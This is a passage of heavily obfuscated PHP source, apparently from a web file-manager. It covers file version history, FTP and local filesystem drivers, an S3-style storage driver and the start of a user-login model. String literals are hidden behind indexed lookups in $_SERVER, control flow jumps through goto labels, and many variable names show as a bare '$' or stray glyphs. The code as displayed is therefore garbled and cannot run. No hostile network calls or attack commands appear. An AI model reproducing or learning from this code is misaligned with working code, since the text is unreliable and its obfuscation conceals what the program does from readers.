$[$˞Ý[377]][$Ƥ][$˞Ý[1244]] = $ͮ; self::saveData($[$˞Ý[1246]], $[$˞Ý[377]]); return !0; } } return !1; } public static function fileInfo($, $) { $㼀 =& $_SERVER[Ȣ]; $ = self::listData($); if (!$) { show_json(LNG($㼀[116]), !1); } $ = $㼀[12]; foreach ($[$㼀[377]] as $ا => $ě) { if ($ě[$㼀[405]] != $) { continue; } $ = $[$㼀[1245]] . $ě[$㼀[32]]; break; } if (!$) { show_json(LNG($㼀[116]), !1); } return IO::info($); } public static function fileOut($ыҺ, $, $⭢ = false) { $ =& $_SERVER[Ȣ]; $ŧ = self::fileInfo($ыҺ, $); $ٿ΄ =& $GLOBALS[$[7]]; $⭢ = isset($ٿ΄[$[1209]]) && $ٿ΄[$[1209]] == 1; if (isset($ٿ΄[$[33]]) && $ٿ΄[$[33]] == $[1247]) { return IO::fileOutImage($ŧ[$[88]], $ٿ΄[$[1248]]); } IO::fileOut($ŧ[$[88]], $⭢, get_path_this($ыҺ)); } public static function listData($ޤ, $ԩ = true) { $ =& $_SERVER[Ȣ]; if ($ԩ && !IO::exist($ޤ)) { return !1; } if (!self::$_historyBase) { self::$_historyBase = self::getBasePath(); } if (substr($ޤ, 0, strlen(TEMP_PATH)) == TEMP_PATH) { return !1; } $ʐ = self::pathHistory($ޤ); $ = array($[1246] => $ʐ . $[1233], $[1245] => rtrim(get_path_father($ʐ), $[8]) . $[8], $[377] => array()); $ݰǀ = IO::getContent($[$[1246]]); if ($ݰǀ) { $ = json_decode($ݰǀ, !0); if (is_array($)) { $[$[377]] = $; } } return $; } private static function saveData($, $) { $ =& $_SERVER[Ȣ]; self::log($[1249] . $ . $[81] . count($), $[769]); if ($) { return IO::setContent($, json_encode($)); } $ = IO::pathFather($); IO::remove($); self::clearEmptyFolder($); return !0; } public static function clearEmptyFolder($) { $שׂ =& $_SERVER[Ȣ]; if (trim($, $שׂ[8]) == trim(self::$_historyBase, $שׂ[8])) { return; } $ճ = IO::pathFather($); $ = IO::has($, !0); if ($[$שׂ[216]] > 0 || $[$שׂ[217]] > 0) { return; } IO::remove($); self::clearEmptyFolder($ճ); } private static function getBasePath() { $ޜ =& $_SERVER[Ȣ]; $ʰ = Model($ޜ[1250])->get($ޜ[1251]); if ($ʰ) { if (!IO::exist($ʰ)) { IO::mkdir($ʰ); } if (get_path_this($ʰ) == $ޜ[1236]) { $ؽ = $ޜ[1252] . rand_string(8); @rename($ʰ, get_path_father($ʰ) . $ޜ[8] . $ؽ); $ʰ = DATA_PATH . $ؽ . $ޜ[8]; file_put_contents(DATA_PATH . $ޜ[1253], $ޜ[12]); Model($ޜ[1250])->set($ޜ[1251], $ʰ); } return $ʰ; } $ʰ = DATA_PATH . $ޜ[1252] . rand_string(8) . $ޜ[8]; $ʰ = IO::mkdir($ʰ); $ʰ = rtrim($ʰ, $ޜ[8]) . $ޜ[8]; file_put_contents($ʰ . $ޜ[1253], $ޜ[12]); file_put_contents(DATA_PATH . $ޜ[1253], $ޜ[12]); Model($ޜ[1250])->set($ޜ[1251], $ʰ); return $ʰ; } } goto d͏; b: class PathDriverFTP extends PathDriverBase { private $server = ''; private $username = ''; private $userpass = ''; private $scheme = ''; private $host = ''; private $port = 21; private $connect = false; private $pasv = "\61"; private $config = array(); public function __construct($ʜ) { parent::__construct(); if (count($ʜ) > 0) { $this->_init($ʜ); } } public function __destruct() { if (!$this->_isconn()) { return !1; } return @ftp_close($this->connect); } private function charsetReset($ּ) { $˼ž =& $_SERVER[Ȣ]; global $config; $this->appCharset = $config[$˼ž[1374]]; $this->systemCharset = $config[$˼ž[1375]]; if (isset($ּ[$˼ž[1376]]) && $ּ[$˼ž[1376]]) { $this->systemCharset = $ּ[$˼ž[1376]]; } } public function iconvApp($ɀ) { return $this->iconvTo($ɀ, $this->systemCharset, $this->appCharset); } public function iconvSystem($ɩ) { return $this->iconvTo($ɩ, $this->appCharset, $this->systemCharset); } public function getPathOuter($ڛ) { $ =& $_SERVER[Ȣ]; $ = $this->iconvApp($this->pathBase); $ڛ = $this->iconvApp($ڛ); if (substr($, 0, 2) == $[1377]) { $ = BASIC_PATH . substr($, 2); } if (substr($ڛ, 0, 2) == $[1377]) { $ڛ = BASIC_PATH . substr($ڛ, 2); } $ = KodIO::clear($); $ڛ = KodIO::clear($ڛ); $ڛ = substr($ڛ, strlen($)); if (empty($this->pathDriver)) { return $ڛ; } return $this->pathDriver . $[8] . ltrim($ڛ, $[8]); } private function _init($ղ = array()) { $ =& $_SERVER[Ȣ]; if (!function_exists($[1378])) { throw new Exception(LNG($[1379])); } $this->config = $ղ; $this->charsetReset($ղ); foreach ($ղ as $ => $˧՜) { if (isset($this->{$})) { $this->{$} = $˧՜; } } return $this->_login($ղ); } private function _login($) { $ۙ =& $_SERVER[Ȣ]; static $ä = array(); $Ѳ = md5(json_encode($)); if (isset($ä[$Ѳ])) { foreach ($ä[$Ѳ] as $Œ => $غ) { $this->{$Œ} = $غ; } return !0; } $ = parse_url(trim($this->server, $ۙ[8])); $this->host = $[$ۙ[188]]; $ = isset($[$ۙ[187]]) && $[$ۙ[187]] == $ۙ[1380] ? !0 : !1; $this->scheme = $ ? $ۙ[1381] : $ۙ[1382]; $this->port = isset($[$ۙ[189]]) ? $[$ۙ[189]] : 21; $this->connect = @ftp_connect($this->host, $this->port, 5); if ($this->connect === !1) { return !1; } $ɛƊ = @ftp_login($this->connect, $this->username, $this->userpass); @ftp_set_option($this->connect, FTP_USEPASVADDRESS, !1); $ƪϐ = $this->pasv == $ۙ[99] ? !0 : !1; @ftp_pasv($this->connect, $ƪϐ); $ä[$Ѳ] = array($ۙ[1383] => $this->connect, $ۙ[188] => $this->host, $ۙ[187] => $this->scheme, $ۙ[189] => $this->port); return $ɛƊ; } private function _isconn() { if (is_resource($this->connect)) { return !0; } return $this->_login($this->config); } public function mkfile($ذ, $٫ؽ = '', $ȡ = REPEAT_RENAME) { if ($this->setContent($ذ, $٫ؽ)) { return $this->getPathOuter($ذ); } return !1; } public function mkdir($؟, $ݏ = REPEAT_SKIP) { if (!$this->_isconn()) { return !1; } $؟ = $this->iconvSystem($؟); if ($this->_isFolder($؟) || @ftp_mkdir($this->connect, $؟)) { return $this->getPathOuter($؟); } if (!$this->mkdir($this->pathFather($؟))) { return !1; } if ($؟ = @ftp_mkdir($this->connect, $؟)) { return $this->getPathOuter($؟); } return !1; } public function copyFile($, $) { if (!$this->_isconn()) { return !1; } $ד = $this->pathThis($this->iconvSystem($)); $ۜ = $this->tempFile($ד); $ = $this->iconvApp($ۜ); $this->download($, $); $ל = $this->upload($, $); $this->tempFileRemve($ۜ); return $ל; } public function moveFile($ݟ, $) { if (!$this->_isconn()) { return !1; } $ݟ = $this->iconvSystem($ݟ); $ = $this->iconvSystem($); $ѐ = @ftp_rename($this->connect, $ݟ, $); return $ѐ ? $this->getPathOuter($) : !1; } public function delFile($) { if (!$this->_isconn()) { return !1; } $ = $this->iconvSystem($); return @ftp_delete($this->connect, $); } public function delFolder($) { if (!$this->_isconn()) { return !1; } $this->listItemCache = !1; $Ǽ = $ = array(); $this->fileList($, $Ǽ, $, !0); $this->listItemCache = !0; foreach ($ as $) { $ = $this->iconvSystem($[$_SERVER[Ȣ][32]]); $ = @ftp_delete($this->connect, $); if (!$) { return !1; } } foreach ($Ǽ as $) { $ = $this->iconvSystem($); $ = @ftp_rmdir($this->connect, $); if (!$) { return !1; } } $ = $this->iconvSystem($); return @ftp_rmdir($this->connect, $); } public function rename($ȣ, $) { $ٍ =& $_SERVER[Ȣ]; if (!$this->_isconn()) { return !1; } $ț = $this->fileNameAuto($this->pathFather($ȣ), $); $ț = $this->iconvSystem($ț); $ȣ = $this->iconvSystem($ȣ); $ = $this->pathFather($ȣ); $ݝ = rtrim($, $ٍ[8]) . $ٍ[8] . $ț; $߭ = @ftp_rename($this->connect, $ȣ, $ݝ); $ݝ = $this->iconvApp($ݝ); return $߭ ? $this->getPathOuter($ݝ) : !1; } private function folderInfo($ŝЪ, $ = false) { $ =& $_SERVER[Ȣ]; $ = array($[32] => $this->pathThis($ŝЪ), $[88] => $this->getPathOuter($[8] . $ŝЪ), $[33] => $[89]); if ($) { return $; } $[$[207]] = $[$[96]] = 0; $[$[208]] = $[$[209]] = !0; return $; } private function fileInfo($, $܄ = false, $Ɋ = array()) { $Ŀ =& $_SERVER[Ȣ]; $ = array($Ŀ[32] => $this->pathThis($), $Ŀ[88] => $this->getPathOuter($Ŀ[8] . $), $Ŀ[33] => $Ŀ[206], $Ŀ[90] => isset($Ɋ[$Ŀ[90]]) ? $Ɋ[$Ŀ[90]] : 0, $Ŀ[181] => $this->ext($)); if ($܄) { return $; } $[$Ŀ[207]] = $[$Ŀ[96]] = 0; $[$Ŀ[208]] = $[$Ŀ[209]] = !0; $ˆɞ = $this->iconvSystem($); $[$Ŀ[96]] = @ftp_mdtm($this->connect, $ˆɞ); if (empty($Ɋ)) { $Ɋ = $this->objectMeta($); if (!$Ɋ) { return $; } } $[$Ŀ[90]] = $Ɋ[$Ŀ[90]]; return $; } public function size($) { $붶 = $this->objectMeta($); return $붶 ? $붶[$_SERVER[Ȣ][90]] : 0; } public function info($) { if ($this->isFile($)) { return $this->fileInfo($, 0); } else { if ($this->isFolder($)) { return $this->folderInfo($); } } return !1; } private function fileList($, &$, &$ɿՄ, $ڔ = false) { $փ =& $_SERVER[Ȣ]; $ = $this->iconvSystem($); if (!$this->isFolder($)) { return !1; } @ftp_chdir($this->connect, $փ[8]); $ = rtrim($, $փ[8]) . $փ[8]; check_abort(); $팱 = $this->listItemCache === !1 ? !1 : !0; $ّ = @ftp_rawlist($this->connect, $); if (!$ّ) { $ّ = array(); } $ = array($փ[10] => 1, $փ[1384] => 1); foreach ($ّ as $ƪ) { $ = $this->_listItem($ƪ); if ($[0] == $փ[776]) { continue; } $͂ = $[8]; if (empty($͂) && $͂ !== $փ[204] || isset($[$͂])) { continue; } $͂ = $this->iconvApp($ . ltrim($͂, $փ[8])); $ = array($փ[32] => $͂, $փ[33] => $փ[206], $փ[90] => $[4]); if (substr($ƪ, 0, 1) == $փ[1385]) { $[$փ[33]] = $փ[89]; $[$փ[90]] = 0; } $̪ = $[$փ[33]] == $փ[89] ? !0 : !1; if ($팱) { $this->cacheMethod($փ[212], $͂, $̪); $this->cacheMethod($փ[213], $͂, $); } if ($̪) { $[] = $͂; if ($ڔ) { $this->fileList($͂, $, $ɿՄ, $ڔ); } continue; } $ɿՄ[] = $; } if ($팱) { $this->cacheMethod($փ[212], $, !0); } } private function _listItem($) { if (empty($)) { return array(); } $ӣ = preg_split($_SERVER[Ȣ][1386], $); if (count($ӣ) <= 9) { return $ӣ; } $ӣ[8] = trim(substr($, strpos($, $ӣ[7]) + strlen($ӣ[7]))); return array_splice($ӣ, 0, 9); } public function listPath($ɶ䣽, $耔 = false) { $Д =& $_SERVER[Ȣ]; if (!$this->_isconn()) { return !1; } $ = $ = array(); $this->fileList($ɶ䣽, $, $); foreach ($ as $ => $) { $[$] = $this->folderInfo($, $耔); } foreach ($ as $ => $) { $[$] = $this->fileInfo($[$Д[32]], $耔, $); } return array($Д[87] => $, $Д[86] => $); } public function has($, $ن = false, $ = true) { $ѹɗ =& $_SERVER[Ȣ]; $ = $Dz = array(); $ߊ = $ن ? !0 : !1; $this->fileList($, $, $Dz, $ߊ); if ($ن) { return array($ѹɗ[216] => count($Dz), $ѹɗ[217] => count($)); } if ($) { if (count($Dz)) { return !0; } } else { if (count($)) { return !0; } } return !1; } public function listAll($) { $ڴ =& $_SERVER[Ȣ]; if (!$this->_isconn()) { return !1; } $ = $ֿթ = array(); $this->fileList($, $, $ֿթ, !0); $ļ = array(); foreach ($ֿթ as $) { $ļ[$[$ڴ[32]]] = $[$ڴ[90]]; } foreach ($ as $) { if (is_string($)) { $ļ[$] = 0; } } return $this->listAllFiles($, array_keys($ļ), $ļ); } public function getContent($Βѹ) { if (!$this->_isconn()) { return !1; } $Βѹ = $this->iconvSystem($Βѹ); return $this->fileSubstr($Βѹ); } public function setContent($, $ = '') { if (!$this->_isconn()) { return !1; } $ = $this->pathThis($this->iconvSystem($)); $˾ = $this->tempFile($); file_put_contents($˾, $); $ = $this->upload($, $this->iconvApp($˾)); $this->tempFileRemve($˾); return $; } public function fileSubstr($Ī, $㬦 = 0, $ـ = false) { if (!$this->_isconn()) { return !1; } return $this->ftpRequest($Ī, $㬦, $ـ); } private function ftpRequest($ڼ, $ = 0, $Ṑ = false) { $ڼ = $this->iconvSystem($ڼ); $ՠ = $this->scheme . $this->host . $_SERVER[Ȣ][4] . $this->port; $ = curl_init(); curl_setopt($, CURLOPT_URL, $ՠ . $this->pathEncode($ڼ)); curl_setopt($, CURLOPT_USERPWD, "{$this->username}\72{$this->userpass}"); if ($Ṑ) { $֝ = $ + $Ṑ - 1; curl_setopt($, CURLOPT_RANGE, "{$}\55{$֝}"); } curl_setopt($, CURLOPT_RETURNTRANSFER, 1); $ = curl_exec($); curl_close($); return $; } public function upload($ۙ, $٤, $曶 = false, $س = REPEAT_REPLACE) { if (!$this->_isconn()) { return !1; } if (!$this->mkdir($this->pathFather($ۙ))) { return !1; } $ۙ = $this->iconvSystem($ۙ); $٤ = $this->iconvSystem($٤); $҈٩ = ftp_nb_put($this->connect, $ۙ, $٤, FTP_BINARY); while ($҈٩ == FTP_MOREDATA) { $҈٩ = ftp_nb_continue($this->connect); } if ($҈٩ != FTP_FINISHED) { return !1; } return $this->getPathOuter($ۙ); } public function download($˜, $ = '') { if (!$this->_isconn()) { return !1; } $ڧ = $this->pathFather($); if (!IO::mkdir($ڧ)) { return !1; } $˜ = $this->iconvSystem($˜); $ = $this->iconvSystem($); $م = ftp_nb_get($this->connect, $, $˜, FTP_BINARY); while ($م == FTP_MOREDATA) { $م = ftp_nb_continue($this->connect); } if ($م != FTP_FINISHED) { return !1; } return $this->iconvApp($); } public function exist($) { return $this->isFile($) || $this->isFolder($); } public function isFile($͎) { return !$this->isFolder($͎) && $this->objectMeta($͎); } public function isFolder($ώ) { return $this->cacheMethod($_SERVER[Ȣ][212], $ώ); } protected function objectMeta($Ӈ) { return $this->cacheMethod($_SERVER[Ȣ][213], $Ӈ); } protected function _objectMeta($젭) { $ =& $_SERVER[Ȣ]; if ($젭 == $[12] || $젭 == $[8]) { return array(); } if (!$this->_isconn()) { return !1; } $젭 = $this->iconvSystem($젭); $ٰ = array($[32] => $this->iconvApp($젭), $[33] => $[206], $[90] => 0); @ftp_chdir($this->connect, $[8]); $ = @ftp_size($this->connect, $젭); if ($ != -1) { $ٰ[$[90]] = $; } else { $φ = @ftp_chdir($this->connect, $젭); if (!$φ) { return !1; } $ٰ[$[33]] = $[89]; } return $ٰ; } protected function _isFolder($縭) { $ =& $_SERVER[Ȣ]; if ($縭 == $[12] || $縭 == $[8]) { return !0; } $ = $this->_objectMeta($縭); return isset($[$[33]]) && $[$[33]] == $[89] ? !0 : !1; } } class PathDriverLocal extends PathDriverBase { private $pathAuth; public function __construct() { parent::__construct(); $this->pathAuth = DEFAULT_PERRMISSIONS; } public function getPath($ѝ) { if (substr($ѝ, 0, 2) == $_SERVER[Ȣ][1377]) { $ѝ = BASIC_PATH . substr($ѝ, 2); } return $ѝ; } public function iconvApp($䟦) { $ؓ =& $_SERVER[Ȣ]; global $config; return $this->iconvTo($䟦, $config[$ؓ[1375]], $config[$ؓ[1374]]); } public function iconvSystem($) { $ʿ =& $_SERVER[Ȣ]; global $config; return $this->iconvTo($, $config[$ʿ[1374]], $config[$ʿ[1375]]); } public function getPathOuter($թ) { $ =& $_SERVER[Ȣ]; $ = $this->iconvApp($this->pathBase); $թ = $this->iconvApp($թ); if (substr($, 0, 2) == $[1377]) { $ = BASIC_PATH . substr($, 2); } if (substr($թ, 0, 2) == $[1377]) { $թ = BASIC_PATH . substr($թ, 2); } $ = KodIO::clear($); $թ = KodIO::clear($թ); $թ = substr($թ, strlen($)); if (empty($this->pathDriver)) { return $թ; } return $this->pathDriver . $[8] . ltrim($թ, $[8]); } public function mkfile($ܖ, $ͯ = '', $ = REPEAT_RENAME) { $ܖ = $this->iconvSystem($ܖ); @touch($ܖ); if ($ͯ) { file_put_contents($ܖ, $ͯ); } @chmod($ܖ, $this->pathAuth); return is_file($ܖ) ? $this->getPathOuter($ܖ) : !1; } public function mkdir($윖, $ب = REPEAT_SKIP) { $윖 = $this->iconvSystem($윖); if (is_dir($윖)) { return $this->getPathOuter($윖); } @mkdir($윖, $this->pathAuth, !0); @chmod($윖, $this->pathAuth); return is_dir($윖) ? $this->getPathOuter($윖) : !1; } public function copyFile($ƿЁ, $ٲ) { $this->mkdir($this->pathFather($ٲ)); $ƿЁ = $this->iconvSystem($ƿЁ); $ٲ = $this->iconvSystem($ٲ); $ = copy_64($ƿЁ, $ٲ); @chmod($ٲ, $this->pathAuth); return $ ? $this->getPathOuter($ٲ) : !1; } public function moveFile($릀, $Úڢ) { $this->mkdir($this->pathFather($Úڢ)); $릀 = $this->iconvSystem($릀); $Úڢ = $this->iconvSystem($Úڢ); $ = intval(@rename($릀, $Úڢ)); if (!$) { if ($ = intval(@copy_64($릀, $Úڢ))) { @unlink($릀); } } @chmod($Úڢ, $this->pathAuth); return $ ? $this->getPathOuter($Úڢ) : !1; } public function movePath($מ, $Ň, $خ = false) { $݆ =& $_SERVER[Ȣ]; $מ = $this->iconvSystem($מ); $Ň = $this->iconvSystem($Ň); $웓ݏ = rtrim($Ň, $݆[8]) . $݆[8] . ($خ ? $خ : get_path_this($מ)); if (file_exists($웓ݏ)) { return !1; } $ = intval(@rename($מ, $웓ݏ)); $ = file_exists($웓ݏ); return $ ? $this->getPathOuter($웓ݏ) : !1; } public function delFile($) { $ = $this->iconvSystem($); if (!@unlink($)) { @chmod($, $this->pathAuth); if (!@unlink($)) { return !1; } } else { return !0; } } public function delFolder($ɴű) { $㓏 =& $_SERVER[Ȣ]; $ɴű = $this->iconvSystem($ɴű); if (!is_dir($ɴű)) { return !0; } if (!($ = opendir($ɴű))) { return !1; } while (($꾸 = readdir($)) !== !1) { if ($꾸 == $㓏[10] || $꾸 == $㓏[1384]) { continue; } $ץ = $ɴű . $㓏[8] . $꾸; if (is_file($ץ) || is_link($ץ)) { if (!unlink($ץ)) { chmod($ץ, $this->pathAuth); if (!unlink($ץ)) { return !1; } } } else { if (is_dir($ץ)) { chmod($ץ, $this->pathAuth); $ץ = $this->iconvApp($ץ); if (!$this->delFolder($ץ)) { return !1; } } } } closedir($); return rmdir($ɴű); } public function rename($榲, $) { $ =& $_SERVER[Ȣ]; $ = $this->fileNameAuto($this->pathFather($榲), $); $ = $this->iconvSystem($); $榲 = $this->iconvSystem($榲); $´ = $this->pathFather($榲); $ހ = rtrim($´, $[8]) . $[8] . $; $Ϫ = @rename($榲, $ހ); $ހ = $this->iconvApp($ހ); return $Ϫ ? $this->getPathOuter($ހ) : !1; } public function size($٫) { $٫ = $this->iconvSystem($٫); return filesize_64($٫); } public function info($Ұ) { $Ұ = $this->iconvSystem($Ұ); if ($this->isFolder($Ұ)) { return $this->folderInfo($Ұ); } else { if ($this->isFile($Ұ)) { return $this->fileInfo($Ұ); } } return !1; } protected function infoChildren($, &$ђ, $ = true) { $ =& $_SERVER[Ȣ]; check_abort_echo(); $ = rtrim($, $[8]) . $[8]; if ($) { $ = $this->iconvSystem($); } if (!($ = @opendir($))) { return; } while (($ = readdir($)) !== !1) { if ($ == $[10] || $ == $[1384]) { continue; } $ = $ . $; if (is_file($) || is_link($)) { $ђ[$[91]]++; $ђ[$[90]] += filesize_64($); } else { if (is_dir($)) { $ђ[$[92]]++; $this->infoChildren($, $ђ, !1); } } } closedir($); } private function folderInfo($, $ = false) { $ϯ̢ =& $_SERVER[Ȣ]; $ = rtrim($, $ϯ̢[8]) . $ϯ̢[8]; $ = $this->iconvApp($this->pathThis($)); if ($) { return array($ϯ̢[32] => $, $ϯ̢[88] => $this->getPathOuter($), $ϯ̢[33] => $ϯ̢[89]); } $ø = array($ϯ̢[32] => $, $ϯ̢[88] => $this->getPathOuter($), $ϯ̢[33] => $ϯ̢[89], $ϯ̢[207] => @filectime($), $ϯ̢[96] => @filemtime($), $ϯ̢[1387] => @fileatime($), $ϯ̢[1388] => is_readable($), $ϯ̢[1389] => is_writable($), $ϯ̢[1390] => get_mode($)); return $ø; } private function fileInfo($, $ = false) { $ʊ =& $_SERVER[Ȣ]; $ظ = $this->iconvApp($this->pathThis($)); if ($) { return array($ʊ[32] => $ظ, $ʊ[88] => $this->getPathOuter($), $ʊ[33] => $ʊ[206], $ʊ[90] => $this->size($), $ʊ[181] => $this->ext($ظ)); } $ሪ = array($ʊ[32] => $ظ, $ʊ[88] => $this->getPathOuter($), $ʊ[33] => $ʊ[206], $ʊ[207] => @filectime($), $ʊ[96] => @filemtime($), $ʊ[1387] => @fileatime($), $ʊ[90] => $this->size($), $ʊ[181] => $this->ext($ظ), $ʊ[1388] => is_readable($), $ʊ[1389] => is_writable($), $ʊ[1390] => get_mode($)); return $ሪ; } public function exist($) { $ = $this->iconvSystem($); return @file_exists($); } public function isFile($ð) { $ð = $this->iconvSystem($ð); return @is_file($ð); } public function isFolder($) { $ = $this->iconvSystem($); return @is_dir($); } public function listPath($ˣ, $ = false) { $ޒϾ =& $_SERVER[Ȣ]; $ˣ = $this->iconvSystem($ˣ); $ˣ = rtrim($ˣ, $ޒϾ[8]) . $ޒϾ[8]; $ = array($ޒϾ[87] => array(), $ޒϾ[86] => array()); if (!($ܼ = @opendir($ˣ))) { return $; } while (($ = readdir($ܼ)) !== !1) { if ($ == $ޒϾ[10] || $ == $ޒϾ[1384]) { continue; } $Ό = $ˣ . $; if (is_file($Ό)) { $[$ޒϾ[86]][] = $this->fileInfo($Ό, $); } else { $[$ޒϾ[87]][] = $this->folderInfo($Ό, $); } } closedir($ܼ); return $; } public function listAll($, &$ = array()) { $ɱ =& $_SERVER[Ȣ]; $ = $this->iconvSystem($); $ = rtrim($, $ɱ[8]) . $ɱ[8]; if (!($ = @opendir($))) { return $; } while (($գ = readdir($)) !== !1) { if ($գ == $ɱ[10] || $գ == $ɱ[1384]) { continue; } $Dž = $ . $գ; if (is_dir($Dž) && !is_link($Dž)) { $[] = array($ɱ[88] => $Dž . $ɱ[8], $ɱ[89] => 1, $ɱ[96] => @filemtime($Dž), $ɱ[90] => 0); $this->listAll($Dž, $); } else { $[] = array($ɱ[88] => $Dž, $ɱ[89] => 0, $ɱ[96] => @filemtime($Dž), $ɱ[90] => $this->size($Dž)); } } closedir($); return $; } public function has($, $݂ = false, $ = true) { $ =& $_SERVER[Ȣ]; $ = $this->iconvSystem($); $ = rtrim($, $[8]) . $[8]; if (!($ĒӲ = @opendir($))) { return !1; } $ = 0; $ = 0; $ד = 0; while (($ = readdir($ĒӲ)) !== !1) { if ($ == $[10] || $ == $[1384]) { continue; } $Џ = $ . $; if ($݂) { $ד++; if (@is_file($Џ)) { $++; } else { $++; } if ($ד > 10000) { break; } continue; } if ($) { if (@is_file($Џ)) { return !0; } } else { if (@is_dir($Џ . $[8])) { return !0; } } } closedir($ĒӲ); if ($݂) { return array($[216] => $, $[217] => $); } return !1; } public function hashSimple($) { $ =& $_SERVER[Ȣ]; if (!$) { return md5($[12]); } $ = $this->iconvSystem($); $ = $this->size($); $ǟ = 200; $砖 = 50; if ($ <= $ǟ * $砖) { return $this->hashMd5($) . $; } $ꍹ = $[12]; $ = intval($ / $砖); $Τ = fopen($, $[1391]); if (!$Τ) { return $ꍹ; } for ($ = 0; $ < $砖; $++) { fseek_64($Τ, $ * $); $ꍹ .= fread($Τ, $ǟ); } fseek_64($Τ, $ - $ǟ); $ꍹ .= fread($Τ, $ǟ); fclose($Τ); return md5($ꍹ) . $; } public function getContent($) { $ = $this->iconvSystem($); return file_get_contents($); } public function setContent($, $ܾ = '') { $ = $this->iconvSystem($); $ʐ = @file_put_contents($, $ܾ, LOCK_EX); clearstatcache(); @chmod($, $this->pathAuth); return $ʐ === !1 ? !1 : !0; } public function fileSubstr($箷, $㧖 = 0, $ = false) { $ =& $_SERVER[Ȣ]; $箷 = $this->iconvSystem($箷); if ($ === !1) { $ = $this->size($箷); } if ($ <= 0) { return $[12]; } $ݧ = fopen($箷, $[1391]); if (!$ݧ) { return !1; } fseek_64($ݧ, $㧖); $߄ = fread($ݧ, $); fclose($ݧ); return $߄; } public function upload($, $, $ = false, $ = REPEAT_REPLACE) { if ($) { return $this->moveFile($, $); } return $this->copyFile($, $); } public function setModifyTime($, $ = '') { @touch($, intval($)); } public function download($ʅǬ֟, $) { return $this->iconvSystem($ʅǬ֟); } } class PathDriverOOS extends PathDriverBaseS3 { public function __construct($˸ƀ) { parent::__construct($˸ƀ); $this->signatureVersion($_SERVER[Ȣ][225]); } public function fileOutLink($) { $ =& $_SERVER[Ȣ]; if (substr($, 0, 7) == $[1335]) { $ = $[1336] . substr($, 7); } header($[172] . $); die; } } goto C; A䂌: class UserModel extends ModelBase { protected $tableName = "\x75\163\x65\162"; protected $tableMeta = array("\x74\141\x62\x6c\x65\116\141\155\145" => "\165\x73\145\x72\x5f\x6d\x65\x74\141", "\155\145\x74\141\x46\151\145\154\144" => "\x75\163\x65\x72\111\104"); protected $simpleField = "\165\163\x65\x72\111\104\x2c\x6e\x69\143\153\x4e\141\155\145\x2c\x6e\141\x6d\145\54\x61\166\141\x74\141\162\x2c\x73\x65\170\x2c\x73\x74\x61\x74\165\163"; const ERROR_USER_NOT_EXISTS = -1; const ERROR_USER_PASSWORD_ERROR = -2; const ERROR_USER_EXIST_NAME = -3; const ERROR_USER_EXIST_PHONE = -4; const ERROR_USER_EXIST_EMAIL = -5; const ERROR_USER_LOGIN_LOCK = -6; const ERROR_IP_NOT_ALLOW = -7; const ERROR_USER_EXIST_NICKNAME = -8; protected function cacheFunctionAlias($) { $ꖇ =& $_SERVER[Ȣ]; $Ɔ = $ꖇ[2264]; return array($ꖇ[1911] => array($[0], $Ɔ), $ꖇ[1913] => array($[0], $Ɔ), $ꖇ[2265] => array($[0], $Ɔ)); } protected function getInfo($ʛ, $ = false) { $¿ = $this->getInfoSimple($ʛ); if (!is_array($¿)) { return array(); } if ($) { return $this->_getInfoApply($¿); } return $this->cacheFunctionGet($_SERVER[Ȣ][1915], $ʛ); } protected function getInfoFull($, $Ї = false) { $ = $this->getInfoSimple($); if (!is_array($)) { return array(); } if ($Ї) { return $this->_getInfoApply($, !0); } return $this->cacheFunctionGet($_SERVER[Ȣ][2266], $); } private function _getInfoApply($̩, $ϯ = false) { $ۉ =& $_SERVER[Ȣ]; if (!$̩) { return $̩; } $ = md5($ۉ[2267] . $̩[$ۉ[901]] . $ۉ[2268] . $̩[$ۉ[32]]); $̩ = $this->_listDataApplyItem($̩); $ = Model($ۉ[1337])->metaGet($̩[$ۉ[97]][$ۉ[408]]); $̩[$ۉ[2269]] = $; $̩[$ۉ[97]][$ۉ[2099]] = isset($[$ۉ[2100]]) ? $[$ۉ[2100]] : null; if ($ϯ) { $̩[$ۉ[470]] = $this->metaGet($̩[$ۉ[1666]]); } return $̩; } protected function getInfoSimple($, $ = false) { $ث =& $_SERVER[Ȣ]; if (!$) { return array(); } if ($) { $ܽ = $this->where(array($ث[1666] => intval($)))->find(); if (!is_array($ܽ)) { return array(); } $ܽ[$ث[544]] = Action($ث[2270])->parseUrl($ܽ[$ث[544]]); return $ܽ; } return $this->cacheFunctionGet($ث[1916], $); } protected function getInfoSimpleOuter($٤) { $ԅ =& $_SERVER[Ȣ]; if (!$٤ || $٤ == 0) { return array($ԅ[1666] => $ԅ[204], $ԅ[32] => $ԅ[173] . LNG($ԅ[2271]) . $ԅ[541], $ԅ[544] => STATIC_PATH . $ԅ[2272]); } $ = $this->cacheFunctionGet($ԅ[1916], $٤); $ˊ = array_field_key($, explode($ԅ[50], $this->simpleField)); if (!$ˊ) { return array($ԅ[1666] => $ԅ[1200], $ԅ[32] => $ԅ[173] . LNG($ԅ[2273]) . $ԅ[541], $ԅ[544] => STATIC_PATH . $ԅ[2274]); } $ˊ[$ԅ[544]] = Action($ԅ[2270])->parseUrl($ˊ[$ԅ[544]]); return $ˊ; } protected function groupUser($̇) { } public static function errorLang($) { $ܿ =& $_SERVER[Ȣ]; $ݻ = array(self::ERROR_USER_NOT_EXISTS => $ܿ[2275], self::ERROR_USER_PASSWORD_ERROR => $ܿ[2276], self::ERROR_USER_EXIST_NAME => $ܿ[2277], self::ERROR_USER_EXIST_PHONE => $ܿ[2278], self::ERROR_USER_EXIST_EMAIL => $ܿ[2279], self::ERROR_USER_LOGIN_LOCK => $ܿ[2280], self::ERROR_IP_NOT_ALLOW => $ܿ[2281], self::ERROR_USER_EXIST_NICKNAME => $ܿ[2282]); return LNG($ݻ[$]); } public function getInfoByMeta($މ, $ݘ) { $˷ =& $_SERVER[Ȣ]; $ؒȗ = Model($˷[2283])->where(array($˷[105] => $މ, $˷[382] => $ݘ))->find(); if ($ؒȗ) { return $this->getInfo($ؒȗ[$˷[1666]]); } return !1; } public function userLoginCheck($, $Τ) { $ =& $_SERVER[Ȣ]; $ = $this->userLoginFind($); if (!$) { return UserModel::ERROR_USER_NOT_EXISTS; } if (!$this->userPasswordCheck($[$[1666]], $Τ)) { return UserModel::ERROR_USER_PASSWORD_ERROR; } return $this->getInfo($[$[1666]]); } public function userLoginFind($) { $ =& $_SERVER[Ȣ]; $ = array($[32] => $, $[543] => $, $[313] => $, $[2284] => $, $[1012] => $[1014]); if ($this->nickNameRpt()) { unset($[$[543]]); } return $this->where($)->find(); } public function clearCache($) { $ =& $_SERVER[Ȣ]; $this->cacheFunctionClear($[1915], $); $this->cacheFunctionClear($[1916], $); $this->cacheFunctionClear($[2266], $); } public function 